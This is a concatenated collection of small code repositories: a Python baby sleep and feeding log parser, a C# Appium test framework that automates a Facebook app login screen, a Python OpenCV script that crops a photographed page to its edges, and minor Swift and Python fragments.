func numberOfSectionsInTableView(tableView: UITableView) -> Int {
return 1
}
func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
return uglyStuff.count
}
}
|
f7ed32d82731cb6bdf734b58595048ed9a4ac8f8
|
[
"Swift"
] | 1 |
Swift
|
ciccioboles/UglyStuff
|
fe2c86f30dc27f859dd9327a8b9b4b880c435e3b
|
5a82ae8552ca4e65c96cb81d97f3da80c593ac8e
|
refs/heads/master
|
<file_sep># -*- coding: utf-8 -*-
import csv
import pandas as pd
import datetime
import matplotlib.pyplot as plt
class DateParser(object):
def __init__(self, filename):
super(DateParser, self).__init__()
self.parseLog(filename)
self.print_stats()
def print_stats(self):
print self.awakeTimes
print self.leftFeeds
print self.rightFeeds
def plot_feeds(self, date_range):
fig, axes = plt.subplots(1, 3)
# collect data from within date range
# group by day
# plot one bar per day
# for bars that extend beyond end of day,
# keep tally of remainder, start next day with bar at 0,
# extending to remainder
axes[0].broken_bar([])
def parseLog(self, filename):
# these are intended to have days as keys, with each value therein
# being a pandas Series instance; each index is the start time;
# each value is the duration
awakeTimes = {}
leftFeeds = {}
rightFeeds = {}
diaperTimes = {}
with open(filename) as log:
reader = csv.reader(log)
# the first line has headers. Skip it.
reader.next()
# read the first data line
line = reader.next()
# we want to start with an "up" time, because we use that as our
# frame of reference. Skip the first data line if it is a
# downer.
if line[2] == "down":
line = reader.next()
# store a datetime representing the time that she woke up
uptime = self.parseDateStringToDateTime(line[0] + " " + line[1])
# Loop over the lines of the file
for i, line in enumerate(reader):
# if she went to sleep, record the total time she's been awake
if line[2] == "down":
downtime = self.parseDateStringToDateTime(line[0] + " " +
line[1])
awakeTimes[uptime] = (downtime - uptime).seconds / 3600.0
# if she woke up, establish a new frame of reference
elif line[2] == "up":
uptime = self.parseDateStringToDateTime(line[0] + " " +
line[1])
# if we have a feeding record on this line for the left breast,
# store it as the time started, with total time fed
if len(line[3]) > 1:
time = self.parseDateStringToDateTime(line[0] + " " +
line[3][:line[3].find("-")])
leftFeeds[time] = \
self.timeDiffStringToTimeDelta(line[3])
# if we have a feeding record on this line for the right
# breast, store it as the time started, with total time fed
if len(line[4]) > 1:
time = self.parseDateStringToDateTime(line[0] + " " +
line[4][:line[4].find("-")])
rightFeeds[time] = \
self.timeDiffStringToTimeDelta(line[4])
# convert the read-out dictionaries into Pandas Series objects for
# further manipulation and display
self.leftFeeds = pd.Series(leftFeeds)
self.rightFeeds = pd.Series(rightFeeds)
self.awakeTimes = pd.Series(awakeTimes)
def timeDiffsToTimeDelta(self, time1, time2):
time1 = self.parseDateStringToDateTime(time1)
time2 = self.parseDateStringToDateTime(time2)
return time2 - time1
def parseDateStringToDateTime(self, string):
slash = string.find("/")
month = int(string[:slash])
string = string[slash + 1:]
slash = string.find("/")
day = int(string[:slash])
space = string.find(" ")
year = int(string[slash + 1:space])
string = string[space + 1:]
colon = string.find(":")
hour = int(string[:colon])
minute = int(string[colon + 1:colon + 3])
return datetime.datetime(year, month, day, hour, minute)
def timeDiffStringToTimeDelta(self, timeDiff):
# parse the string into its distinct times
a, b = timeDiff.split("-")
# exact date doesn't matter here, only the relative time. Choose arbitrary
# date to use as datetime
date = datetime.datetime(2014, 1, 1)
acolon = a.find(":")
a = date + datetime.timedelta(hours=int(a[:acolon]),
minutes=int(a[acolon + 1:]))
bcolon = b.find(":")
b = date + datetime.timedelta(hours=int(b[:bcolon]),
minutes=int(b[bcolon + 1:]))
if b < a:
b += datetime.timedelta(days=1)
return (b - a).seconds / 3600.0
# views:
# hours of sleep per day
# bar chart of sleep (blue) vs awake (red) - several days shown; each as bar
#
if __name__ == "__main__":
import sys
parser = DateParser(sys.argv[1])
|
420120fcec7e148b73630a7c182e066a8b08a6ef
|
[
"Python"
] | 1 |
Python
|
msarahan/IvyData
|
08d256a2f22dd7a05a5b2e8600ab1e1776fb1bae
|
5d93efdabfecd5291130fc5fdb1dc9951798f4de
|
refs/heads/master
|
<file_sep>using System.Globalization;
using System.Text.RegularExpressions;
namespace Facebook.Mobile.Test.Utility
{
public class Converter
{
public string FromDoubleToPrice(double text)
{
return string.Format("{0:C}", text);
}
public double FromPriceToDouble(string text)
{
return double.Parse(text, NumberStyles.Currency);
}
public string ExtractPriceValue(string text)
{
return Regex.Match(text, @"\d+.").Value;
}
}
}
<file_sep>using Facebook.Mobile.Test.Utility;
using OpenQA.Selenium;
using OpenQA.Selenium.Appium;
using OpenQA.Selenium.Appium.PageObjects;
using OpenQA.Selenium.Support.PageObjects;
using OpenQA.Selenium.Support.UI;
using System;
using Facebook.Mobile.Test.Main;
using System.Reflection;
using OpenQA.Selenium.Remote;
using Microsoft.VisualStudio.TestTools.UnitTesting;
namespace Facebook.Mobile.Test.Pages
{
public class BasePage
{
//private AppiumDriver<RemoteWebElement> driver;
//protected AppiumDriver<RemoteWebElement> Driver { get; set; }
//protected WebDriverWait wait { get; set; }
//public BasePage(AppiumDriver<RemoteWebElement> driver)
//{
// var factory = new DriverFactory();
// if (driver == null)
// {
// driver = factory.GetDriver("Base");
// }
// Driver = driver;
// wait = new WebDriverWait(Driver, TimeSpan.FromSeconds(40));
// BaseTest bTest = new BaseTest();
// locatorHelper = new LocatorHelper(driver, Config.OperatingSystem.ToLower());
// PageFactory.InitElements(Driver, this);
//}
//public void pageUp()
//{
// IJavaScriptExecutor js = ((IJavaScriptExecutor)Driver);
// js.ExecuteScript("window.scrollTo(0, -document.body.scrollHeight);");
//}
//public void pageDown()
//{
// IJavaScriptExecutor js = ((IJavaScriptExecutor)Driver);
// js.ExecuteScript("window.scrollTo(0, document.body.scrollHeight);");
//}
//public void pageDown_Test()
//{
// IJavaScriptExecutor js = ((IJavaScriptExecutor)Driver);
// js.ExecuteScript("window.scrollTo(0, 250);");
//}
//public void scrollIntoElementView(IWebElement element)
//{
// ((IJavaScriptExecutor)Driver).ExecuteScript("arguments[0].scrollIntoView(true);", element);
//}
}
}
<file_sep>using Facebook.Mobile.Test.Utility;
using OpenQA.Selenium;
using OpenQA.Selenium.Appium;
using OpenQA.Selenium.Appium.Android;
using OpenQA.Selenium.Appium.Interfaces;
using OpenQA.Selenium.Appium.PageObjects;
using OpenQA.Selenium.Support.PageObjects;
using OpenQA.Selenium.Support.UI;
using System;
using SeleniumExtras.PageObjects;
using System.Collections.Generic;
using Facebook.Mobile.Test.Main;
using OpenQA.Selenium.Remote;
using System.Resources;
using System.Reflection;
using System.Globalization;
using Facebook.Mobile.Test;
using PageFactory = OpenQA.Selenium.Support.PageObjects.PageFactory;
namespace Facebook.Mobile.Test.Pages
{
public class LoginPage : BaseTest
{
public MobileGeneric mobileGeneric = null;
public LocatorHelper locatorHelper { get; private set; }
public LoginPage()
{
mobileGeneric = new MobileGeneric();
locatorHelper = new LocatorHelper(Driver, Config.OperatingSystem.ToLower());
PageFactory.InitElements(Driver, this);
}
[mobile("android", findBy.Id, "com.facebook.katana:id/login_username")]
[mobile("ios", findBy.XPath, "")]
public string userNameText { get; set; }
[mobile("android", findBy.Id, "com.facebook.katana:id/login_password")]
[mobile("ios", findBy.XPath, "")]
public string passwordText { get; set; }
[mobile("android", findBy.Id, "com.facebook.katana:id/login_login")]
[mobile("ios", findBy.XPath, "")]
public string loginButton { get; set; }
protected IWebElement userNameEdit
{
get { return locatorHelper.GetElement(this, "userNameText"); }
}
protected IWebElement passwordEdit
{
get { return locatorHelper.GetElement(this, "passwordText"); }
}
protected IWebElement loginBtn
{
get { return locatorHelper.GetElement(this, "loginButton"); }
}
public void enterUserName(string userName)
{
mobileGeneric.DynamicWait(userNameEdit);
userNameEdit.SendKeys(userName);
}
public void clearUserName()
{
mobileGeneric.DynamicWait(userNameEdit);
userNameEdit.Clear();
}
public void enterPassword(string password)
{
mobileGeneric.DynamicWait(passwordEdit);
passwordEdit.SendKeys(password);
}
public void clickLoginBtn()
{
mobileGeneric.DynamicWait(loginBtn);
loginBtn.Click();
}
}
}<file_sep>
using Facebook.Mobile.Test.Utility;
using OpenQA.Selenium;
using OpenQA.Selenium.Appium;
using OpenQA.Selenium.Appium.Android;
using OpenQA.Selenium.Appium.Interfaces;
using OpenQA.Selenium.Appium.PageObjects;
using OpenQA.Selenium.Appium.PageObjects.Attributes;
using OpenQA.Selenium.Support.PageObjects;
using OpenQA.Selenium.Support.UI;
using System;
using SeleniumExtras.PageObjects;
using System.Collections.Generic;
using Facebook.Mobile.Test.Main;
using OpenQA.Selenium.Remote;
using System.Resources;
using System.Reflection;
using System.Globalization;
using Facebook.Mobile.Test;
using PageFactory = OpenQA.Selenium.Support.PageObjects.PageFactory;
namespace Facebook.Mobile.Test.Pages
{
public class GenericPage : BaseTest
{
public MobileGeneric mobileGeneric = null;
public LocatorHelper locatorHelper { get; private set; }
public GenericPage()
{
mobileGeneric = new MobileGeneric();
locatorHelper = new LocatorHelper(Driver, Config.OperatingSystem.ToLower());
PageFactory.InitElements(Driver, this);
}
[mobile("android", findBy.Id, "com.android.packageinstaller:id/permission_deny_button")]
[mobile("ios", findBy.XPath, "")]
public string permissionDenyButton { get; set; }
protected IWebElement permissionDenyElement
{
get { return locatorHelper.GetElement(this, "permissionDenyButton"); }
}
public void clickPermissionDenyButton()
{
mobileGeneric.DynamicWait(permissionDenyElement);
permissionDenyElement.Click();
}
}
}<file_sep>using OpenQA.Selenium;
using System;
namespace Facebook.Mobile.Test.Utility
{
public class WebElement
{
public bool IsDisplayed(IWebElement element)
{
try
{
if (element.Displayed)
return true;
}
catch (Exception)
{
return false;
}
return false;
}
public IWebElement GetButtonWithText(IWebDriver driver, string buttonLable, int occurenceCount)
{
var ele = driver.FindElements(By.CssSelector("button"));
int counter = 0;
foreach (IWebElement btn in ele)
{
if (btn.Text.ToString().ToLower().Equals(buttonLable.ToLower()))
{
counter++;
}
if (counter == occurenceCount)
{
return btn;
}
}
if (occurenceCount < 1)
{
throw new Exception("Invalid button searched");
}
return null;
}
public void ScrollToElement(IWebDriver Driver, IWebElement element)
{
try
{
IJavaScriptExecutor js = ((IJavaScriptExecutor)Driver);
js.ExecuteScript("arguments[0].scrollIntoView(true);", element);
}
catch (Exception e)
{
System.Console.WriteLine("Error while scrolling the page:" + e.ToString());
}
}
}
}
<file_sep>using Facebook.Mobile.Test.Main;
namespace Facebook.Mobile.Test.ApplicationData
{
public class ConstantData
{
}
}
<file_sep>using System.Collections.Generic;
using System.Configuration;
using System.Linq;
namespace Facebook.Mobile.Test.Main
{
public static class Config
{
public static string OperatingSystem = "", ExecutionMode = "",DeviceId= "", AppPath="", appPackage="", appActivity="", remoteipadress="",remotePort = "";
}
}
<file_sep>using Microsoft.VisualStudio.TestTools.UnitTesting;
using OpenQA.Selenium;
using System;
using System.Collections.Generic;
using System.IO;
namespace Facebook.Mobile.Test.Comparers
{
public class CheckIt
{
private IWebDriver Driver;
private string testNameVal;
private int i;
public List<AssertResult> AssertResults { get; private set; }
public CheckIt(IWebDriver driver, string testName)
{
Driver = driver;
i = 0;
testNameVal = testName;
AssertResults = new List<AssertResult>();
}
public void ElementIsDisplayed(Boolean displayStatus, String failureMessage)
{
if (displayStatus)
{
AddAssertResult(AssertOutcome.Success, failureMessage);
}
else
{
AddAssertResult(AssertOutcome.Fail, failureMessage);
}
}
public void AddAssertTestFailure(String failureMessage)
{
AddAssertResult(AssertOutcome.Fail, failureMessage);
}
public void compareListofStrings(List<String> actualVal, List<String> exepectedVal, string failureMessage)
{
bool comparisonResult = false;
if (actualVal.Equals(exepectedVal))
{
comparisonResult = true;
}
else
{
comparisonResult = false;
}
var additionalInfo = "Comparing " + "Actual Value - " + actualVal + " - With - " + "Expected Value -" + exepectedVal;
if (comparisonResult)
{
AddAssertResult(AssertOutcome.Success, "Verification", additionalInfo);
}
else
{
AddAssertResult(AssertOutcome.Fail, failureMessage, additionalInfo);
}
}
public void compareString(string actualVal, string expectedVal, string fieldName, string failureMessage, ComparisonType comType = ComparisonType.EXACT, int threshhold = 100)
{
bool comparisonResult = false;
switch (comType)
{
case ComparisonType.EXACT:
comparisonResult = actualVal.Trim().Equals(expectedVal);
break;
case ComparisonType.STARTSWITH:
comparisonResult = actualVal.Trim().StartsWith(expectedVal);
break;
case ComparisonType.CONTAINS:
comparisonResult = actualVal.Trim().Contains(expectedVal);
break;
case ComparisonType.EXACT_IGNORECASE:
comparisonResult = actualVal.Trim().ToLower().Equals(expectedVal.ToLower());
break;
case ComparisonType.CONTAINS_IGNORECASE:
comparisonResult = actualVal.Trim().ToLower().Contains(expectedVal.ToLower());
break;
case ComparisonType.WITH_THRESHHOLD:
int thLength = 0;
int thLength2 = 0;
thLength = (int)Math.Round(((double)actualVal.Length * (threshhold / 100)));
thLength2 = (int)Math.Round(((double)expectedVal.Length * (threshhold / 100)));
int len = thLength > thLength2 ? thLength2 : thLength;
comparisonResult = actualVal.Substring(0, len).Equals(expectedVal.Substring(0, len));
break;
default:
break;
}
var additionalInfo = "Comparing " + "Actual Value - \"" + actualVal + "\" - With " + "Expected Value - \"" + expectedVal + "\" For Element - " + fieldName;
if (comparisonResult)
{
AddAssertResult(AssertOutcome.Success, "Verification", additionalInfo);
}
else
{
AddAssertResult(AssertOutcome.Fail, failureMessage, additionalInfo);
}
}
public void isNotNull(String text, string failureMessage)
{
if (String.IsNullOrEmpty(text))
{
AddAssertResult(AssertOutcome.Fail, failureMessage);
}
else
{
AddAssertResult(AssertOutcome.Success, failureMessage);
}
}
public void AreEqual<T>(T expected, T actual, string failureMessage = null)
{
try
{
Assert.AreEqual(expected, actual);
}
catch (AssertFailedException)
{
var areEqualFailedMessage = $"Variables are not equal. Expected '{expected}' but found {actual}";
AddAssertResult(AssertOutcome.Fail, String.IsNullOrEmpty(failureMessage) ? areEqualFailedMessage : failureMessage);
}
}
private void AddAssertResult(AssertOutcome outcome, string message, string additionalInfo = null)
{
string state = string.Empty;
switch (outcome)
{
case AssertOutcome.Fail:
state = "FAILED: ";
break;
case AssertOutcome.Success:
state = "SUCCESS: ";
break;
case AssertOutcome.Warning:
state = "WARNING: ";
break;
}
AssertResults.Add(new AssertResult()
{
Outcome = outcome,
Message = state + message,
// screenShotName = takeScreenshot(state),
ComparisonTypeAndValues = additionalInfo == null ? string.Empty : additionalInfo
});
}
public void AssertFail(string failureMsg)
{
Assert.Fail(failureMsg);
}
public void AssertWarning(string warningMsg)
{
Assert.Inconclusive(warningMsg);
}
private string takeScreenshot(string state)
{
string file = "";
string testNameValTemp = "";
if (state.Equals("FAILED: "))
{
string dir = Directory.GetCurrentDirectory();
Directory.CreateDirectory("Screenshots");
testNameValTemp = testNameVal + "_" + i + ".jpg";
file = "Screenshots\\" + testNameValTemp;
((ITakesScreenshot)Driver).GetScreenshot().SaveAsFile(file, ScreenshotImageFormat.Jpeg);
i++;
}
return testNameValTemp;
}
}
public class AssertResult
{
public string ComparisonTypeAndValues;
public AssertOutcome Outcome;
public string Message;
////Added by For Screenshot
public string screenShotName;
}
public enum AssertOutcome
{
Success,
Warning,
Fail
}
public enum ComparisonType
{
EXACT,
CONTAINS,
EXACT_IGNORECASE,
CONTAINS_IGNORECASE,
WITH_THRESHHOLD,
STARTSWITH
}
}
<file_sep>
using Facebook.Mobile.Test.ApplicationData;
using Facebook.Mobile.Test.Comparers;
using Facebook.Mobile.Test.Utility;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using OpenQA.Selenium.Appium;
using System;
using System.Collections.Generic;
using System.Linq;
using OpenQA.Selenium.Remote;
namespace Facebook.Mobile.Test.Main
{
[TestClass]
public class BaseTest
{
public TestContext TestContext { get; set; }
protected Wait Wait { get; private set; }
protected static AppiumDriver<RemoteWebElement> Driver { get; private set; }
protected ConstantData Constants { get; private set; }
protected CheckIt Check { get; private set; }
private List<string> GetProperties(string value)
{
return TestContext.Properties
.Cast<KeyValuePair<string, object>>()
.Where(_ => _.Key.Equals(value))
.Select(_ => _.Value as string)
.ToList();
}
public virtual void CreateDriver(AppiumDriver<RemoteWebElement> MyDriver = null)
{
Constants = new ConstantData();
var factory = new DriverFactory();
Driver = MyDriver;
if (Driver == null)
{
Driver = factory.GetDriver(TestContext.TestName);
}
Check = new CheckIt(Driver, TestContext.TestName);
Wait = new Wait();
}
[TestInitialize]
public virtual void CreateDriver()
{
CreateDriver(null);
}
[TestCleanup]
public void TearDown()
{
Driver.Quit();
Driver.Dispose();
Driver = null;
}
private void TestOutput()
{
if (Check != null)
{
var assertLog = String.Join("\r\n", Check.AssertResults.Select(r =>
{
var stringBuild = new System.Text.StringBuilder();
stringBuild.Append($"{r.Message} - additionalInfo: {r.ComparisonTypeAndValues}");
if (!string.IsNullOrEmpty(r.screenShotName))
stringBuild.Append($" - <a class=\"failedlink\" target=\"_blank\" href=\"{r.screenShotName}\">View ScreenShot</a>");
return stringBuild.ToString();
})
);
if (Check.AssertResults.Any(r => r.Outcome == AssertOutcome.Fail))
{
Check.AssertFail(assertLog);
}
else if (Check.AssertResults.Any(r => r.Outcome == AssertOutcome.Warning))
{
Check.AssertWarning(assertLog);
}
}
}
}
}
<file_sep>using Facebook.Mobile.Test.Utility;
using System.Collections.Generic;
namespace Facebook.Mobile.Test.ApplicationData
{
class DynamicData
{
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Facebook.Mobile.Test.Settings
{
public class ConstantsKeys
{
public const string Pickup = "Pickup";
public const string Delivery = "Delivery";
public const string Division = "BWS";
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Facebook.UIAutomation.Test.Settings
{
public class ErrorStates
{
public const string emailValidation = "Please Enter Valid Email Address";
public const string passwordValidation = "Please Enter Valid Password";
}
}
<file_sep>using Facebook.Mobile.Test.Main;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using System;
using Facebook.Mobile.Test.Pages;
using Facebook.Mobile.Test.Settings;
using OpenQA.Selenium.Remote;
using OpenQA.Selenium.Appium;
using OpenQA.Selenium.Support.PageObjects;
using Facebook.Mobile.Test.Data;
namespace Facebook.UIAutomation.Test.Tests
{
[TestClass]
public class FBLoginTest : BaseTest
{
public FBLoginTest()
{
}
public FBLoginTest(TestContext test, AppiumDriver<RemoteWebElement> Driver)
{
base.TestContext = test;
base.CreateDriver(Driver);
}
[TestMethod]
[TestCategory("FB")]
public void LoginMethod()
{
LoginPage lPage = new LoginPage();
GenericPage gPage = new GenericPage();
PageFactory.InitElements(Driver, lPage);
PageFactory.InitElements(Driver, gPage);
MobileGeneric mobileGeneric = new MobileGeneric();
lPage.clearUserName();
lPage.enterUserName(testdata.email.ToString());
lPage.enterPassword(testdata.password.ToString());
mobileGeneric.HideDeviceKeyboard();
lPage.clickLoginBtn();
mobileGeneric.StaticWait(5);
}
}
}
<file_sep>using Facebook.Mobile.Test.Main;
using System.Data;
using System.Data.SqlClient;
namespace Facebook.Mobile.Test.Utility
{
public class DBHelper
{
public DataTable runSelectQuery(string query)
{
// query = UtilityCode.RemoveNewLine(query);
DataTable results = new DataTable();
// using (SqlConnection conn = new SqlConnection(Config.ConnectionString.ToString()))
using (SqlConnection conn = new SqlConnection(""))
using (SqlCommand command = new SqlCommand(query, conn))
using (SqlDataAdapter dataAdapter = new SqlDataAdapter(command))
dataAdapter.Fill(results);
return null;
}
}
}
<file_sep>using OpenQA.Selenium;
using System;
namespace Facebook.Mobile.Test.Utility
{
public class Retry
{
public void RetryTypingAttemptIfFail(IWebElement element, string value)
{
Wait Wait = new Wait();
int counter = 1;
bool isSuccessfullyDone = false;
do
{
try
{
element.Clear();
element.SendKeys(value);
isSuccessfullyDone = true;
}
catch (Exception)
{
counter++;
Wait.WaitFor(2);
}
} while (counter < 30 && !isSuccessfullyDone);
}
public void RetryToClickIfFails(IWebElement element, int timespanInSeconds = 10, IWebDriver Driver = null)
{
WebElement WebElement = new WebElement();
Wait Wait = new Wait();
int count = 0;
bool isClicked = false;
do
{
try
{
if (Driver != null && WebElement.IsDisplayed(element))
{
WebElement.ScrollToElement(Driver, element);
}
Wait.WaitFor(5);
element.Click();
isClicked = true;
count++;
return;
}
catch (Exception e)
{
Console.WriteLine(e.Message);
count++;
}
} while (count < timespanInSeconds);
if (!isClicked)
{
throw new Exception("Failed to click on Element " + element);
}
}
public void PageDownAndRetryClick(IWebDriver Driver, IWebElement elemenetToBeClicked)
{
WebElement WebElement = new WebElement();
Wait Wait = new Wait();
try
{
WebElement.ScrollToElement(Driver, elemenetToBeClicked);
elemenetToBeClicked.Click();
}
catch (Exception)
{
int counter = 1;
do
{
IJavaScriptExecutor js = ((IJavaScriptExecutor)Driver);
js.ExecuteScript("window.scrollTo(0, -document.body.scrollHeight);");
for (int i = 1; i <= counter; i++)
{
if (i != 1)
{
js.ExecuteScript("javascript:window.scrollBy(0, 500)");
Wait.WaitFor(1);
}
try
{
elemenetToBeClicked.Click();
return;
}
catch (Exception)
{
Wait.WaitFor(1);
}
}
counter++;
} while (counter < 15);
}
}
}
}<file_sep>
using Facebook.Mobile.Test.Main;
using Facebook.Mobile.Test.Utility;
using OpenQA.Selenium;
using OpenQA.Selenium.Appium;
using OpenQA.Selenium.Appium.Android;
using OpenQA.Selenium.Appium.Interfaces;
using OpenQA.Selenium.Appium.MultiTouch;
using OpenQA.Selenium.Remote;
using OpenQA.Selenium.Support.PageObjects;
using OpenQA.Selenium.Support.UI;
using System;
using System.Collections.Generic;
using System.IO;
using Newtonsoft.Json.Linq;
namespace Facebook.Mobile.Test.Pages
{
public class MobileGeneric : BaseTest
{
public MobileGeneric()
{
}
public LocatorHelper locatorHelper { get; private set; }
public void SwipeDriver()
{
var size = Driver.Manage().Window.Size;
int starty = (int)(size.Height * 0.80);
int endy = (int)(size.Height * 0.20);
int startx = size.Width / 2;
Driver.Swipe(startx, starty, startx, endy, 3000);
}
public void HideDeviceKeyboard()
{
Driver.HideKeyboard();
}
public void ResetMobileApp()
{
Driver.ResetApp();
}
public void StaticWait(int sec)
{
System.Threading.Thread.Sleep(sec*1000);
}
public void DynamicWait(IWebElement element)
{
WebDriverWait wait = new WebDriverWait(Driver, TimeSpan.FromSeconds(1));
for (int i = 0; i<=10 ; i++) {
try
{
if (i<10 && element.Displayed)
{
break;
}
if (i == 10)
{
throw new NoSuchElementException();
}
}
catch (Exception)
{
System.Threading.Thread.Sleep(1000);
}
}
}
}
}<file_sep>using BWS.UIAutomation.Test;
using EDG.UIAutomation.Test.Tests;
using OpenQA.Selenium;
using OpenQA.Selenium.Appium;
using OpenQA.Selenium.Remote;
using OpenQA.Selenium.Support.UI;
using System;
using System.Threading;
namespace EDG.UIAutomation.Test.Pages
{
public class AllTests
{
public BrowseTests BrowseTests { get; private set; }
public OnboardTests OnboardTests { get; private set; }
public SetStoreTests SetStoreTests { get; private set; }
public AllTests()
{
BrowseTests = new BrowseTests();
OnboardTests = new OnboardTests();
SetStoreTests = new SetStoreTests();
}
}
}<file_sep>using Newtonsoft.Json.Linq;
using OpenQA.Selenium;
using OpenQA.Selenium.Appium;
using OpenQA.Selenium.Appium.Android;
using OpenQA.Selenium.Appium.Enums;
using OpenQA.Selenium.Appium.iOS;
using OpenQA.Selenium.Remote;
using System;
using System.IO;
namespace Facebook.Mobile.Test.Main
{
public class DriverFactory
{
static int counter = 1;
public AppiumDriver<RemoteWebElement> GetDriver(string testName)
{
AppiumDriver<RemoteWebElement> driver = null;
readConfig();
switch (Config.OperatingSystem.ToLower())
{
case "android":
driver = InitializeAndroidDriver();
break;
case "ios":
driver = InitializeIOSDriver();
break;
case "Any":
driver = SetupDriver(testName);
break;
default:
throw new NotSupportedException($"{Config.OperatingSystem.ToLower()} Operating System is not suported");
}
counter++;
return driver;
}
public void readConfig()
{
using (StreamReader r = new StreamReader("config.json"))
{
var json = r.ReadToEnd();
var jobj = JObject.Parse(json);
foreach (var item in jobj)
{
if (item.Key.Contains("OperatingSystem"))
{
Config.OperatingSystem = item.Value.ToString();
}
if (item.Key.Contains("ExecutionMode"))
{
Config.ExecutionMode = item.Value.ToString();
}
if (item.Key.Contains("DeviceId"))
{
Config.DeviceId = item.Value.ToString();
}
if (item.Key.Contains("AppPath"))
{
Config.AppPath = item.Value.ToString();
}
if (item.Key.Contains("appPackage"))
{
Config.appPackage = item.Value.ToString();
}
if (item.Key.Contains("appActivity"))
{
Config.appActivity = item.Value.ToString();
}
if (item.Key.Contains("remoteipadress"))
{
Config.remoteipadress = item.Value.ToString();
}
if (item.Key.Contains("remotePort"))
{
Config.remotePort = item.Value.ToString();
}
}
}
}
public AppiumDriver<RemoteWebElement> SetupDriver(string testName)
{
AppiumDriver<RemoteWebElement> driver = null;
if (testName.Contains("Android"))
{
driver = InitializeAndroidDriver();
}
else if (testName.Contains("IOS"))
{
driver = InitializeIOSDriver();
}
return driver;
}
private AndroidDriver<RemoteWebElement> InitializeAndroidDriver()
{
AndroidDriver<RemoteWebElement> driver = null;
DesiredCapabilities dc = new DesiredCapabilities();
dc.SetCapability("platformName", "Android");
dc.SetCapability("newCommandTimeout", 60 * 5);
dc.SetCapability("deviceName", Config.DeviceId);
dc.SetCapability("app", Config.AppPath);
dc.SetCapability("noReset", true);
dc.SetCapability("app-package", Config.appPackage);
dc.SetCapability("app-activity", Config.appActivity);
if (Config.ExecutionMode.Equals("Local", StringComparison.OrdinalIgnoreCase))
{
driver = new AndroidDriver<RemoteWebElement>(new Uri("http://127.0.0.1:4723/wd/hub"), dc, TimeSpan.FromSeconds(180));
}
else if (Config.ExecutionMode.Equals("Remote", StringComparison.OrdinalIgnoreCase))
{
driver = new AndroidDriver<RemoteWebElement>(new Uri("http://"+ Config.remoteipadress + ":" + Config.remotePort + "/wd/hub"), dc, TimeSpan.FromSeconds(180));
}
return driver;
}
private IOSDriver<RemoteWebElement> InitializeIOSDriver()
{
IOSDriver<RemoteWebElement> driver = null;
DesiredCapabilities dc = new DesiredCapabilities();
dc.SetCapability("platformName", "ios");
dc.SetCapability("newCommandTimeout", 60 * 5);
dc.SetCapability("app-package", "com.experitest.ExperiBank");
dc.SetCapability("app-activity", "com.experitest.ExperiBank.LoginActivity");
if (Config.ExecutionMode.Equals("Local", StringComparison.OrdinalIgnoreCase))
{
}
else if (Config.ExecutionMode.Equals("Cloud", StringComparison.OrdinalIgnoreCase))
{
dc.SetCapability("deviceQuery", "@os='ios' and @category='PHONE'");
dc.SetCapability(IOSMobileCapabilityType.BundleId, "com.experitest.ExperiBank");
dc.SetCapability(MobileCapabilityType.App, "cloud:com.experitest.ExperiBank");
driver = new IOSDriver<RemoteWebElement>(new Uri("http://10.56.123.43:80/wd/hub"), dc);
}
return driver;
}
}
}<file_sep>using OpenQA.Selenium;
using System;
using System.Collections.Generic;
using System.Threading;
namespace Facebook.Mobile.Test.Utility
{
public class Wait
{
public void WaitForElementToDisplay(IWebElement element, int waitTime = 30)
{
WaitFor(() => element.Displayed, waitTime);
}
public void WaitForElementToDisappear(IWebElement element, int waitTime = 30)
{
WaitFor(() => !element.Displayed, waitTime);
}
public void WaitForElementTextToDisplay(IWebElement element, string eleText, int waitTime = 30)
{
WaitFor(() => element.Text.ToLower().Equals(eleText.ToLower()), waitTime);
}
public void WaitForElementToEnable(IWebElement element, int waitTime = 20)
{
WaitFor(() => element.Enabled, waitTime);
}
public void WaitForListToPopulate(IReadOnlyList<IWebElement> elements, int count = 0, int waitTime = 30)
{
WaitFor(() => elements.Count > count, waitTime);
}
public void WaitFor(int durationInSec)
{
durationInSec = durationInSec * 1000;
Thread.Sleep(durationInSec);
}
public void WaitTime(IWebElement element)
{
for (int counter = 0; counter < 10; counter++)
{
try
{
if (element.Displayed)
{
break;
}
}
catch (Exception ex){
WaitFor(3);
}
}
}
private void WaitFor(Func<bool> condition, int waitTime = 30)
{
int i = 1;
do
{
try
{
if (condition())
return;
else
WaitFor(1);
i++;
}
catch (Exception)
{
WaitFor(1);
i++;
}
} while (i < waitTime);
}
}
}
|
9b8479791a438e2bcf4d38afbdd425f3bd9587ea
|
[
"C#"
] | 19 |
C#
|
arjunbharadwajOS/MobileUIAutomation
|
5908c48ebf4058e2ce073c89ad75149d2af28d35
|
de8fba6ac3445515529b87e373cc01ea6c15856c
|
refs/heads/master
|
<file_sep>'''
This Python program takes an image and deletes unnecessary noise around a white DIN A4 page. It calculates the edges of the page and
cuts the noise out accordingly.
Required packages:
OpenCV: pip install opencv-python
Numpy: pip install numpy
*** By <NAME> ***
'''
import cv2
import numpy as np
def find_edge(image):
image = cv2.Canny(image, 100, 300, 3)
contours, _ = cv2.findContours(image, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)
biggestContour = contours[0]
for contour in contours:
if (cv2.arcLength(contour, False) > cv2.arcLength(biggestContour, False)):
biggestContour = contour
return biggestContour
def apply_convex_hull_algorithm(biggestContour):
return cv2.convexHull(biggestContour)
def cut_image(image, biggestContour):
x, y, width, height = cv2.boundingRect(biggestContour)
image = image[y:height, x:width].copy()
return image
def detect_edges(originalImage):
# Find the contour with the biggest edge length, which equals the edge of the document
biggestContour = find_edge(originalImage)
# Apply Convex hull algorithm to bridge the deflection in the straight lines
biggestContourHull = cv2.convexHull(biggestContour)
# Cut the picture around the edge of the document
cutImage = cut_image(originalImage, biggestContour)
return cutImage
|
29a1866c0442f52f5cac5db4e6121617d4efb331
|
[
"Python"
] | 1 |
Python
|
LucaLanzo/imageEdgeDetection
|
e913e32cad8a7f3d2ed2789d54973e771b3c6ad4
|
cddbcb2b55ae1b68a0b68a33874743592ee34381
|
refs/heads/master
|
<repo_name>MRChaitanya/Python-DeepLearning<file_sep>/ICP_1/arithmetic.py
i1 = input("enter first number:")
j1 = input("enter another number:")
i = int(i1)
j = int(j1)
k = i+j
l = i-j
m = i*j
n = i/j
o = i%j
p = i//j
q = i**2
